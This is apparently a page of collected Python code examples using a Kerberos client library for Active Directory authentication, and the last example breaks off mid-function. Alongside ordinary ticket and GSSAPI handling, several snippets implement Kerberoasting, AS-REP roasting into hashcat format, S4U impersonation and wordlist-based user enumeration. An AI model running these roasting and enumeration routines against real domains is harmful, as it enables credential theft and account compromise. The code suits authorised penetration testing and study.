Exemple #1
0
    def setup(self):
        self.mode = self.settings.mode
        self.ccred = self.settings.ccred
        self.spn = self.settings.spn
        self.target = self.settings.target

        self.kc = AIOKerberosClient(self.ccred, self.target)
Exemple #2
0
async def amain(args):
	cu = KerberosClientURL.from_url(args.kerberos_connection_url)
	ccred = cu.get_creds()
	target = cu.get_target()

	service_spn = KerberosSPN.from_target_string(args.spn)
	target_user = KerberosSPN.from_user_email(args.targetuser)
	
	if not ccred.ccache:
		logger.debug('Getting TGT')
		client = AIOKerberosClient(ccred, target)
		await client.get_TGT()
		logger.debug('Getting ST')
		tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
	else:
		logger.debug('Getting TGS via TGT from CCACHE')
		for tgt, key in ccred.ccache.get_all_tgt():
			try:
				logger.info('Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))
				client = AIOKerberosClient.from_tgt(target, tgt, key)

				tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
				logger.info('Sucsess!')
			except Exception as e:
				logger.debug('This ticket is not usable it seems Reason: %s' % e)
				continue
			else:
				break

	client.ccache.to_file(args.ccache)	
	logger.info('Done!')
Exemple #3
0
async def amain(args):

    if args.spn.find('@') == -1:
        raise Exception('SPN must contain @')
    t, domain = args.spn.split('@')
    if t.find('/') != -1:
        service, hostname = t.split('/')
    else:
        hostname = t
        service = None

    spn = KerberosSPN()
    spn.username = hostname
    spn.service = service
    spn.domain = domain

    cu = KerberosClientURL.from_url(args.kerberos_connection_url)
    ccred = cu.get_creds()
    target = cu.get_target()

    logging.debug('Getting TGT')

    client = AIOKerberosClient(ccred, target)
    logging.debug('Getting TGT')
    await client.get_TGT()
    logging.debug('Getting TGS')
    await client.get_TGS(spn)

    client.ccache.to_file(args.ccache)
    logging.info('Done!')
Exemple #4
0
async def get_TGS(url, spn, out_file=None, override_etype=None):
    try:
        logger.debug('[KERBEROS][TGS] started')
        if isinstance(override_etype, int):
            override_etype = [override_etype]

        ku = KerberosClientURL.from_url(url)
        cred = ku.get_creds()
        target = ku.get_target()
        spn = KerberosSPN.from_user_email(spn)

        logger.debug('[KERBEROS][TGS] target user: %s' %
                     spn.get_formatted_pname())
        logger.debug('[KERBEROS][TGS] fetching TGT')
        kcomm = AIOKerberosClient(cred, target)
        await kcomm.get_TGT()
        logger.debug('[KERBEROS][TGS] fetching TGS')
        tgs, encTGSRepPart, key = await kcomm.get_TGS(
            spn, override_etype=override_etype)

        kirbi = tgt_to_kirbi(tgs, encTGSRepPart)

        if out_file is not None:
            with open(out_file, 'wb') as f:
                f.write(kirbi.dump())

        logger.debug('[KERBEROS][TGS] done!')
        return tgs, encTGSRepPart, key, kirbi, None
    except Exception as e:
        return None, None, None, None, e
Exemple #5
0
async def amain(args):

    if args.spn.find('@') == -1:
        raise Exception('SPN must contain @')
    t, domain = args.spn.split('@')
    if t.find('/') != -1:
        service, hostname = t.split('/')
    else:
        hostname = t
        service = None

    spn = KerberosSPN()
    spn.username = hostname
    spn.service = service
    spn.domain = domain

    cu = KerberosClientURL.from_url(args.kerberos_connection_url)
    ccred = cu.get_creds()
    target = cu.get_target()

    logging.debug('Getting TGT')

    if not ccred.ccache:
        client = AIOKerberosClient(ccred, target)
        logging.debug('Getting TGT')
        await client.get_TGT()
        logging.debug('Getting TGS')
        await client.get_TGS(spn)
    else:
        logging.debug('Getting TGS via TGT from CCACHE')
        for tgt, key in ccred.ccache.get_all_tgt():
            try:
                logging.info('Trying to get SPN with %s' %
                             '!'.join(tgt['cname']['name-string']))
                client = AIOKerberosClient.from_tgt(target, tgt, key)
                await client.get_TGS(spn)
                logging.info('Sucsess!')
            except Exception as e:
                logging.debug('This ticket is not usable it seems Reason: %s' %
                              e)
                continue
            else:
                break

    client.ccache.to_file(args.ccache)
    logging.info('Done!')
Exemple #6
0
    def setup(self):
        self.ccred = self.settings.ccred
        self.spn = self.settings.spn
        self.target = self.settings.target
        if self.settings.enctypes is not None:
            self.preferred_etypes = self.settings.enctypes

        self.flags = ChecksumFlags.GSS_C_MUTUAL_FLAG
        if self.settings.encrypt is True:
            self.flags = \
             ChecksumFlags.GSS_C_CONF_FLAG |\
             ChecksumFlags.GSS_C_INTEG_FLAG |\
             ChecksumFlags.GSS_C_REPLAY_FLAG |\
             ChecksumFlags.GSS_C_SEQUENCE_FLAG #|\
            #ChecksumFlags.GSS_C_MUTUAL_FLAG

        self.kc = AIOKerberosClient(self.ccred, self.target)
Exemple #7
0
async def s4u(url, spn, targetuser, out_file=None):
    try:
        logger.debug('[KERBEROS][S4U] Started')
        cu = KerberosClientURL.from_url(url)
        ccred = cu.get_creds()
        target = cu.get_target()

        service_spn = KerberosSPN.from_target_string(spn)
        target_user = KerberosSPN.from_user_email(targetuser)

        if not ccred.ccache:
            logger.debug('[KERBEROS][S4U] Getting TGT')
            client = AIOKerberosClient(ccred, target)
            await client.get_TGT()
            logger.debug('[KERBEROS][S4U] Getting ST')
            tgs, encTGSRepPart, key = await client.getST(
                target_user, service_spn)
        else:
            logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE')
            for tgt, key in ccred.ccache.get_all_tgt():
                try:
                    logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' %
                                 '!'.join(tgt['cname']['name-string']))
                    client = AIOKerberosClient.from_tgt(target, tgt, key)

                    tgs, encTGSRepPart, key = await client.getST(
                        target_user, service_spn)
                    logger.debug('[KERBEROS][S4U] Sucsess!')
                except Exception as e:
                    logger.debug(
                        '[KERBEROS][S4U] This ticket is not usable it seems Reason: %s'
                        % e)
                    continue
                else:
                    break

        if out_file:
            client.ccache.to_file(out_file)

        logger.debug('[KERBEROS][S4U] Done!')
        return tgs, encTGSRepPart, key, None

    except Exception as e:
        return None, None, None, e
Exemple #8
0
async def amain(args):
    cu = KerberosClientURL.from_url(args.kerberos_connection_url)
    ccred = cu.get_creds()
    target = cu.get_target()

    logging.debug('Getting TGT')

    client = AIOKerberosClient(ccred, target)
    await client.get_TGT()
    client.ccache.to_file(args.ccache)
    logging.info('Done!')
Exemple #9
0
    async def run(self, cred: KerberosCredential, override_etype=[23]):
        """
		override_etype: list : list of supported encryption types
		"""
        try:
            kcomm = AIOKerberosClient(cred, self.target)
            await kcomm.get_TGT(override_etype=override_etype,
                                decrypt_tgt=False)
            return TGTTicket2hashcat(kcomm.kerberos_TGT)
        except Exception as e:
            logger.debug('Error while roasting client %s/%s Reason: %s' %
                         (cred.domain, cred.username, str(e)))
Exemple #10
0
    async def setup_kc(self):
        try:
            if self.target.proxy is None:
                self.kc = AIOKerberosClient(self.ccred, self.target)
            elif self.target.proxy.type in MSLDAP_SOCKS_PROXY_TYPES:
                target = AIOKerberosClientSocksSocket(self.target)
                self.kc = AIOKerberosClient(self.ccred, target)

            elif self.target.proxy.type in [
                    MSLDAPProxyType.MULTIPLEXOR,
                    MSLDAPProxyType.MULTIPLEXOR_SSL
            ]:
                from msldap.network.multiplexor import MultiplexorProxyConnection
                mpc = MultiplexorProxyConnection(self.target)
                socks_proxy = await mpc.connect(is_kerberos=True)

                self.kc = AIOKerberosClient(self.ccred, socks_proxy)

            else:
                raise Exception('Unknown proxy type %s' %
                                self.target.proxy.type)

            return None, None
        except Exception as e:
            return None, e
Exemple #11
0
    async def setup_kc(self):
        try:
            if self.target.proxy is None or isinstance(self.target.proxy,
                                                       KerberosProxy) is True:
                self.kc = AIOKerberosClient(self.ccred, self.target)

            elif self.target.proxy.type in [
                    SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL
            ]:
                from aiosmb.network.multiplexornetwork import MultiplexorProxyConnection
                mpc = MultiplexorProxyConnection(self.target)
                socks_proxy, err = await mpc.connect(is_kerberos=True)
                if err is not None:
                    raise err

                self.kc = AIOKerberosClient(self.ccred, socks_proxy)

            else:
                raise Exception('Unknown proxy type %s' %
                                self.target.proxy.type)

            return None, None
        except Exception as e:
            return None, e
Exemple #12
0
async def get_TGT(url):
    try:
        logger.debug('[KERBEROS][TGT] started')
        ku = KerberosClientURL.from_url(url)
        cred = ku.get_creds()
        target = ku.get_target()

        logger.debug('[KERBEROS][TGT] cred: %s' % cred)
        logger.debug('[KERBEROS][TGT] target: %s' % target)

        kcomm = AIOKerberosClient(cred, target)
        logger.debug('[KERBEROS][TGT] fetching TGT')
        await kcomm.get_TGT()

        cred = kcomm.ccache.credentials[0]
        kirbi, filename = cred.to_kirbi()

        return kirbi, filename, None
    except Exception as e:
        return None, None, e
Exemple #13
0
async def get_TGT(url, override_etype=None):
    try:
        logger.debug('[KERBEROS][TGT] started')
        if isinstance(override_etype, int):
            override_etype = [override_etype]
        ku = KerberosClientURL.from_url(url)
        cred = ku.get_creds()
        target = ku.get_target()

        logger.debug('[KERBEROS][TGT] cred: %s' % cred)
        logger.debug('[KERBEROS][TGT] target: %s' % target)

        kcomm = AIOKerberosClient(cred, target)
        logger.debug('[KERBEROS][TGT] fetching TGT')
        await kcomm.get_TGT(override_etype=override_etype)

        kirbi = tgt_to_kirbi(kcomm.kerberos_TGT, kcomm.kerberos_TGT_encpart)

        return kirbi, None
    except Exception as e:
        return None, e
Exemple #14
0
async def get_TGS(url, spn, out_file=None):
    try:
        logger.debug('[KERBEROS][TGS] started')
        ku = KerberosClientURL.from_url(url)
        cred = ku.get_creds()
        target = ku.get_target()
        spn = KerberosSPN.from_user_email(spn)

        logger.debug('[KERBEROS][TGS] target user: %s' %
                     spn.get_formatted_pname())
        logger.debug('[KERBEROS][TGS] fetching TGT')
        kcomm = AIOKerberosClient(cred, target)
        await kcomm.get_TGT()
        logger.debug('[KERBEROS][TGS] fetching TGS')
        tgs, encTGSRepPart, key = await kcomm.get_TGS(spn)

        if out_file is not None:
            kcomm.ccache.to_file(out_file)
        logger.debug('[KERBEROS][TGS] done!')
        return tgs, encTGSRepPart, key, None
    except Exception as e:
        return None, None, None, e
Exemple #15
0
    async def run(self, spns, override_etype=[2, 3, 16, 23, 17, 18]):
        try:
            kcomm = AIOKerberosClient(self.cred, self.target)
            await kcomm.get_TGT(override_etype=override_etype,
                                decrypt_tgt=False)
        except Exception as e:
            logger.exception('a')
            logger.debug('Error logging in! Reason: %s' % (str(e)))

        results = []
        for spn in spns:
            try:
                tgs, _, _ = await kcomm.get_TGS(spn,
                                                override_etype=override_etype)
                results.append(TGSTicket2hashcat(tgs))
            except Exception as e:
                logger.exception('b')
                logger.debug(
                    'Failed to get TGS ticket for user %s/%s/%s! Reason: %s' %
                    (spn.domain, str(spn.service), spn.username, str(e)))
                continue

        return results
Exemple #16
0
    async def setup_kc(self):
        try:
            if self.target.proxy is None:
                self.kc = AIOKerberosClient(self.ccred, self.target)
            elif self.target.proxy.type in [
                    SMBProxyType.SOCKS5, SMBProxyType.SOCKS5_SSL,
                    SMBProxyType.SOCKS4, SMBProxyType.SOCKS4_SSL
            ]:
                target = AIOKerberosClientSocksSocket(self.target)
                self.kc = AIOKerberosClient(self.ccred, target)

            elif self.target.proxy.type in [
                    SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL
            ]:
                #	kcred.target.proxy = KerberosProxy()
                #	kcred.target.proxy.target = copy.deepcopy(target.proxy.target)
                #	kcred.target.proxy.target.endpoint_ip = target.dc_ip
                #	kcred.target.proxy.target.endpoint_port = 88
                #	kcred.target.proxy.creds = copy.deepcopy(target.proxy.auth)

                from aiosmb.network.multiplexornetwork import MultiplexorProxyConnection
                mpc = MultiplexorProxyConnection(self.target)
                socks_proxy, err = await mpc.connect(is_kerberos=True)

                self.kc = AIOKerberosClient(self.ccred, socks_proxy)

            else:
                raise Exception('Unknown proxy type %s' %
                                self.target.proxy.type)

            #elif target.proxy.type in [SMBProxyType.SOCKS5, SMBProxyType.SOCKS5_SSL, SMBProxyType.SOCKS4, SMBProxyType.SOCKS4_SSL]:
            #	self.kc = AIOKerberosClient(self.ccred, self.target)
            #elif target.proxy.type in [SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL]:
            #	mpc = MultiplexorProxyConnection(target)
            #	socks_proxy = await mpc.connect()
            return None, None
        except Exception as e:
            return None, e
Exemple #17
0
class SMBKerberos:
    def __init__(self, settings):
        self.settings = settings
        self.mode = None
        self.ccred = None
        self.target = None
        self.spn = None
        self.kc = None

        self.session_key = None
        self.gssapi = None
        self.iterations = 0
        self.etype = None
        self.seq_number = None
        self.from_ccache = False

        self.setup()

    async def sign(self, data, message_no, direction='init'):
        return self.gssapi.GSS_GetMIC(data, message_no)

    async def encrypt(self, data, message_no):
        return self.gssapi.GSS_Wrap(data, message_no)

    async def decrypt(self,
                      data,
                      message_no,
                      direction='init',
                      auth_data=None):
        return self.gssapi.GSS_Unwrap(data,
                                      message_no,
                                      direction=direction,
                                      auth_data=auth_data)

    def setup(self):
        self.mode = self.settings.mode
        self.ccred = self.settings.ccred
        self.spn = self.settings.spn
        self.target = self.settings.target

    def get_session_key(self):
        return self.session_key.contents

    async def setup_kc(self):
        try:
            if self.target.proxy is None or isinstance(self.target.proxy,
                                                       KerberosProxy) is True:
                self.kc = AIOKerberosClient(self.ccred, self.target)

            elif self.target.proxy.type in [
                    SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL
            ]:
                from aiosmb.network.multiplexornetwork import MultiplexorProxyConnection
                mpc = MultiplexorProxyConnection(self.target)
                socks_proxy, err = await mpc.connect(is_kerberos=True)
                if err is not None:
                    raise err

                self.kc = AIOKerberosClient(self.ccred, socks_proxy)

            else:
                raise Exception('Unknown proxy type %s' %
                                self.target.proxy.type)

            return None, None
        except Exception as e:
            return None, e

    async def authenticate(self,
                           authData,
                           flags=None,
                           seq_number=0,
                           is_rpc=False):
        try:

            if self.kc is None:
                _, err = await self.setup_kc()
                if err is not None:
                    return None, None, err

            if self.iterations == 0:
                try:
                    #check TGS first, maybe ccache already has what we need
                    for target in self.ccred.ccache.list_targets():
                        # just printing this to debug...
                        logger.debug('CCACHE target SPN record: %s' % target)
                    tgs, encpart, self.session_key = await self.kc.get_TGS(
                        self.spn)

                    self.from_ccache = True
                except Exception as e:
                    # this is normal when no credentials stored in ccache
                    #tgt = await self.kc.get_TGT(override_etype=[18])
                    tgt = await self.kc.get_TGT()
                    tgs, encpart, self.session_key = await self.kc.get_TGS(
                        self.spn)

            ap_opts = []
            if is_rpc == True:
                if self.iterations == 0:
                    ap_opts.append('mutual-required')
                    flags = ChecksumFlags.GSS_C_CONF_FLAG | ChecksumFlags.GSS_C_INTEG_FLAG | ChecksumFlags.GSS_C_SEQUENCE_FLAG|\
                      ChecksumFlags.GSS_C_REPLAY_FLAG | ChecksumFlags.GSS_C_MUTUAL_FLAG | ChecksumFlags.GSS_C_DCE_STYLE

                    if self.from_ccache is False:
                        apreq = self.kc.construct_apreq(tgs,
                                                        encpart,
                                                        self.session_key,
                                                        flags=flags,
                                                        seq_number=seq_number,
                                                        ap_opts=ap_opts)
                    else:
                        apreq = self.kc.construct_apreq_from_ticket(
                            Ticket(tgs['ticket']).dump(),
                            self.session_key,
                            tgs['crealm'],
                            tgs['cname']['name-string'][0],
                            flags=flags,
                            seq_number=seq_number,
                            ap_opts=ap_opts,
                            cb_data=None)

                    self.iterations += 1
                    return apreq, False, None

                else:
                    #mutual authentication part here
                    self.seq_number = seq_number

                    aprep = AP_REP.load(authData).native
                    cipher = _enctype_table[int(aprep['enc-part']['etype'])]()
                    cipher_text = aprep['enc-part']['cipher']
                    temp = cipher.decrypt(self.session_key, 12, cipher_text)

                    enc_part = EncAPRepPart.load(temp).native
                    cipher = _enctype_table[int(
                        enc_part['subkey']['keytype'])]()

                    now = datetime.datetime.now(datetime.timezone.utc)
                    apreppart_data = {}
                    apreppart_data['cusec'] = now.microsecond
                    apreppart_data['ctime'] = now.replace(microsecond=0)
                    apreppart_data['seq-number'] = enc_part['seq-number']
                    #print('seq %s' % enc_part['seq-number'])

                    apreppart_data_enc = cipher.encrypt(
                        self.session_key, 12,
                        EncAPRepPart(apreppart_data).dump(), None)

                    #overriding current session key
                    self.session_key = Key(cipher.enctype,
                                           enc_part['subkey']['keyvalue'])

                    ap_rep = {}
                    ap_rep['pvno'] = 5
                    ap_rep['msg-type'] = MESSAGE_TYPE.KRB_AP_REP.value
                    ap_rep['enc-part'] = EncryptedData({
                        'etype':
                        self.session_key.enctype,
                        'cipher':
                        apreppart_data_enc
                    })

                    token = AP_REP(ap_rep).dump()
                    self.gssapi = get_gssapi(self.session_key)
                    self.iterations += 1

                    return token, False, None
            else:
                if self.from_ccache is False:
                    apreq = self.kc.construct_apreq(tgs,
                                                    encpart,
                                                    self.session_key,
                                                    flags=flags,
                                                    seq_number=seq_number,
                                                    ap_opts=ap_opts)
                else:
                    apreq = self.kc.construct_apreq_from_ticket(
                        Ticket(tgs['ticket']).dump(),
                        self.session_key,
                        tgs['crealm'],
                        tgs['cname']['name-string'][0],
                        flags=flags,
                        seq_number=seq_number,
                        ap_opts=ap_opts,
                        cb_data=None)
                return apreq, False, None

        except Exception as e:
            return None, None, e
Exemple #18
0
async def amain(args):
    if args.command == 'tgs':
        logging.debug('[TGS] started')
        ku = KerberosClientURL.from_url(args.kerberos_connection_url)
        cred = ku.get_creds()
        target = ku.get_target()
        spn = KerberosSPN.from_user_email(args.spn)

        logging.debug('[TGS] target user: %s' % spn.get_formatted_pname())
        logging.debug('[TGS] fetching TGT')
        kcomm = AIOKerberosClient(cred, target)
        await kcomm.get_TGT()
        logging.debug('[TGS] fetching TGS')
        await kcomm.get_TGS(spn)

        kcomm.ccache.to_file(args.out_file)
        logging.debug('[TGS] done!')

    elif args.command == 'tgt':
        logging.debug('[TGT] started')
        ku = KerberosClientURL.from_url(args.kerberos_connection_url)
        cred = ku.get_creds()
        target = ku.get_target()

        logging.debug('[TGT] cred: %s' % cred)
        logging.debug('[TGT] target: %s' % target)

        kcomm = AIOKerberosClient(cred, target)
        logging.debug('[TGT] fetching TGT')
        await kcomm.get_TGT()

        kcomm.ccache.to_file(args.out_file)
        logging.debug('[TGT] Done! TGT stored in CCACHE file')

    elif args.command == 'asreproast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        creds = []
        targets = get_targets_from_file(args, False)
        targets += get_target_from_args(args, False)
        if len(targets) == 0:
            raise Exception(
                'No targets were specified! Either use target file or specify target via cmdline'
            )

        logging.debug('[ASREPRoast] loaded %d targets' % len(targets))
        logging.debug(
            '[ASREPRoast] will suppoort the following encryption type: %s' %
            (str(args.etype)))

        ks = KerberosTarget(args.address)
        ar = APREPRoast(ks)
        hashes = []
        for target in targets:
            h = await ar.run(target, override_etype=[args.etype])
            hashes.append(h)

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('ASREPRoast complete')

    elif args.command == 'spnroast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        targets = get_targets_from_file(args)
        targets += get_target_from_args(args)
        if len(targets) == 0:
            raise Exception(
                'No targets were specified! Either use target file or specify target via cmdline'
            )

        logging.debug('Kerberoast loaded %d targets' % len(targets))

        if args.etype:
            if args.etype == -1:
                etypes = [23, 17, 18]
            else:
                etypes = [args.etype]
        else:
            etypes = [23, 17, 18]

        logging.debug(
            'Kerberoast will suppoort the following encryption type(s): %s' %
            (','.join(str(x) for x in etypes)))

        ku = KerberosClientURL.from_url(args.kerberos_connection_url)
        cred = ku.get_creds()
        target = ku.get_target()
        ar = Kerberoast(target, cred)
        hashes = await ar.run(targets, override_etype=etypes)

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('Kerberoast complete')

    elif args.command == 'brute':
        target = KerberosTarget(args.address)

        with open(args.targets, 'r') as f:
            for line in f:
                line = line.strip()
                spn = KerberosSPN()
                spn.username = line
                spn.domain = args.realm

                ke = KerberosUserEnum(target, spn)

                result = await ke.run()
                if result is True:
                    if args.out_file:
                        with open(args.out_file, 'a') as f:
                            f.write(result + '\r\n')
                    else:
                        print('[+] Enumerated user: %s' % str(spn))

        logging.info('Kerberos user enumeration complete')

    elif args.command == 'spnroast-sspi':
        if platform.system() != 'Windows':
            print('[-]This command only works on Windows!')
            return
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')

        targets = get_targets_from_file(args)
        targets += get_target_from_args(args)
        if len(targets) == 0:
            raise Exception(
                'No targets were specified! Either use target file or specify target via cmdline'
            )

        results = []
        errors = []
        for spn_name in targets:
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(
                    spn_name.get_formatted_pname())
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')

        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

        logging.info('SSPI based Kerberoast complete')

    elif args.command == 'spnroast-multiplexor':
        #hiding the import so it's not necessary to install multiplexor
        await spnmultiplexor(args)

    elif args.command == 'auto':
        if platform.system() != 'Windows':
            print('[-]This command only works on Windows!')
            return
        try:
            from winsspi.sspi import KerberoastSSPI
        except ImportError:
            raise Exception('winsspi module not installed!')

        domain = args.dc_ip
        url = 'ldap+sspi-ntlm://%s' % domain
        msldap_url = MSLDAPURLDecoder(url)
        client = msldap_url.get_client()
        _, err = await client.connect()
        if err is not None:
            raise err

        domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
            ',', '.')
        spn_users = []
        asrep_users = []
        results = []
        errors = []
        async for user, err in client.get_all_knoreq_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            asrep_users.append(cred)
        async for user, err in client.get_all_service_users():
            if err is not None:
                raise err
            cred = KerberosCredential()
            cred.username = user.sAMAccountName
            cred.domain = domain

            spn_users.append(cred)

        for cred in asrep_users:
            ks = KerberosTarget(domain)
            ar = APREPRoast(ks)
            res = await ar.run(cred, override_etype=[args.etype])
            results.append(res)

        for cred in spn_users:
            spn_name = '%s@%s' % (cred.username, cred.domain)
            if spn_name[:6] == 'krbtgt':
                continue
            ksspi = KerberoastSSPI()
            try:
                ticket = ksspi.get_ticket_for_spn(spn_name)
            except Exception as e:
                errors.append((spn_name, e))
                continue
            results.append(TGSTicket2hashcat(ticket))

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in results:
                    f.write(thash + '\r\n')
        else:
            for thash in results:
                print(thash)

        for err in errors:
            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

    elif args.command == 'ldap':
        ldap_url = MSLDAPURLDecoder(args.ldap_url)
        client = ldap_url.get_client()
        _, err = await client.connect()
        if err is not None:
            raise err

        domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
            ',', '.')

        if args.out_file:
            basefolder = ntpath.dirname(args.out_file)
            basefile = ntpath.basename(args.out_file)

        if args.type in ['spn', 'all']:
            logging.debug('Enumerating SPN user accounts...')
            cnt = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    async for user in client.get_all_service_users():
                        cnt += 1
                        f.write('%s@%s\r\n' % (user.sAMAccountName, domain))

            else:
                print('[+] SPN users')
                async for user, err in client.get_all_service_users():
                    if err is not None:
                        raise err
                    cnt += 1
                    print('%s@%s' % (user.sAMAccountName, domain))

            logging.debug('Enumerated %d SPN user accounts' % cnt)

        if args.type in ['asrep', 'all']:
            logging.debug('Enumerating ASREP user accounts...')
            ctr = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    async for user, err in client.get_all_knoreq_users():
                        if err is not None:
                            raise err
                        ctr += 1
                        f.write('%s@%s\r\n' % (user.sAMAccountName, domain))
            else:
                print('[+] ASREP users')
                async for user, err in client.get_all_knoreq_users():
                    if err is not None:
                        raise err
                    ctr += 1
                    print('%s@%s' % (user.sAMAccountName, domain))

            logging.debug('Enumerated %d ASREP user accounts' % ctr)

        if args.type in ['full', 'all']:
            logging.debug(
                'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
            )
            ctr = 0
            attrs = args.attrs if args.attrs is not None else MSADUser_TSV_ATTRS
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_users.tsv'),
                          'w',
                          newline='',
                          encoding='utf8') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(attrs)
                    async for user, err in client.get_all_users():
                        if err is not None:
                            raise err
                        ctr += 1
                        writer.writerow(user.get_row(attrs))

            else:
                logging.debug('Are you sure about this?')
                print('[+] Full user dump')
                print('\t'.join(attrs))
                async for user, err in client.get_all_users():
                    if err is not None:
                        raise err
                    ctr += 1
                    print('\t'.join([str(x) for x in user.get_row(attrs)]))

            logging.debug('Enumerated %d user accounts' % ctr)

        if args.type in ['custom']:
            if not args.filter:
                raise Exception(
                    'Custom LDAP search requires the search filter to be specified!'
                )
            if not args.attrs:
                raise Exception(
                    'Custom LDAP search requires the attributes to be specified!'
                )

            logging.debug(
                'Perforing search on the AD with the following filter: %s' %
                args.filter)
            logging.debug('Search will contain the following attributes: %s' %
                          ','.join(args.attrs))
            ctr = 0

            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_custom.tsv'),
                          'w',
                          newline='') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(args.attrs)
                    async for obj, err in client.pagedsearch(
                            args.filter, args.attrs):
                        if err is not None:
                            raise err
                        ctr += 1
                        writer.writerow([
                            str(obj['attributes'].get(x, 'N/A'))
                            for x in args.attrs
                        ])

            else:
                async for obj, err in client.pagedsearch(
                        args.filter, args.attrs):
                    if err is not None:
                        raise err
                    ctr += 1
                    print('\t'.join([
                        str(obj['attributes'].get(x, 'N/A'))
                        for x in args.attrs
                    ]))
Exemple #19
0
class MSLDAPKerberos:
    def __init__(self, settings):
        self.settings = settings
        self.signing_preferred = None
        self.encryption_preferred = None
        self.ccred = None
        self.target = None
        self.spn = None
        self.kc = None
        self.flags = None
        self.preferred_etypes = [23, 17, 18]

        self.session_key = None
        self.gssapi = None
        self.iterations = 0
        self.etype = None
        self.seq_number = 0
        self.expected_server_seq_number = None

        self.setup()

    def get_seq_number(self):
        """
		Returns the initial sequence number. It is 0 by default, but can be adjusted during authentication, 
		by passing the 'seq_number' parameter in the 'authenticate' function
		"""
        return self.seq_number

    def signing_needed(self):
        """
		Checks if integrity protection was negotiated
		"""
        return ChecksumFlags.GSS_C_INTEG_FLAG in self.flags

    def encryption_needed(self):
        """
		Checks if confidentiality flag was negotiated
		"""
        return ChecksumFlags.GSS_C_CONF_FLAG in self.flags

    async def sign(self, data, message_no, direction='init'):
        """
		Signs a message. 
		"""
        return self.gssapi.GSS_GetMIC(data, message_no, direction=direction)

    async def encrypt(self, data, message_no):
        """
		Encrypts a message. 
		"""

        return self.gssapi.GSS_Wrap(data, message_no)

    async def decrypt(self, data, message_no, direction='init'):
        """
		Decrypts message. Also performs integrity checking.
		"""

        return self.gssapi.GSS_Unwrap(data, message_no, direction=direction)

    def setup(self):
        self.ccred = self.settings.ccred
        self.spn = self.settings.spn
        self.target = self.settings.target
        if self.settings.enctypes is not None:
            self.preferred_etypes = self.settings.enctypes

        self.flags = ChecksumFlags.GSS_C_MUTUAL_FLAG
        if self.settings.encrypt is True:
            self.flags = \
             ChecksumFlags.GSS_C_CONF_FLAG |\
             ChecksumFlags.GSS_C_INTEG_FLAG |\
             ChecksumFlags.GSS_C_REPLAY_FLAG |\
             ChecksumFlags.GSS_C_SEQUENCE_FLAG #|\
            #ChecksumFlags.GSS_C_MUTUAL_FLAG

        #self.kc = AIOKerberosClient(self.ccred, self.target)

    def get_session_key(self):
        return self.session_key.contents, None

    async def setup_kc(self):
        try:
            if self.target.proxy is None:
                self.kc = AIOKerberosClient(self.ccred, self.target)
            elif self.target.proxy.type in MSLDAP_SOCKS_PROXY_TYPES:
                target = AIOKerberosClientSocksSocket(self.target)
                self.kc = AIOKerberosClient(self.ccred, target)

            elif self.target.proxy.type in [
                    MSLDAPProxyType.MULTIPLEXOR,
                    MSLDAPProxyType.MULTIPLEXOR_SSL
            ]:
                from msldap.network.multiplexor import MultiplexorProxyConnection
                mpc = MultiplexorProxyConnection(self.target)
                socks_proxy = await mpc.connect(is_kerberos=True)

                self.kc = AIOKerberosClient(self.ccred, socks_proxy)

            else:
                raise Exception('Unknown proxy type %s' %
                                self.target.proxy.type)

            return None, None
        except Exception as e:
            return None, e

    async def authenticate(self,
                           authData,
                           flags=None,
                           seq_number=0,
                           cb_data=None):
        """
		This function is called (multiple times depending on the flags) to perform authentication. 
		"""
        try:
            if self.kc is None:
                _, err = await self.setup_kc()
                if err is not None:
                    return None, None, err

            if self.iterations == 0:
                self.seq_number = 0  #int.from_bytes(os.urandom(4), byteorder='big', signed=False)
                self.iterations += 1

                #tgt = await self.kc.get_TGT()
                tgt = await self.kc.get_TGT(
                    override_etype=self.preferred_etypes)
                tgs, encpart, self.session_key = await self.kc.get_TGS(
                    self.spn)  #, override_etype = self.preferred_etypes)

                #self.expected_server_seq_number = encpart.get('nonce', seq_number)

                ap_opts = []
                if ChecksumFlags.GSS_C_MUTUAL_FLAG in self.flags or ChecksumFlags.GSS_C_DCE_STYLE in self.flags:
                    if ChecksumFlags.GSS_C_MUTUAL_FLAG in self.flags:
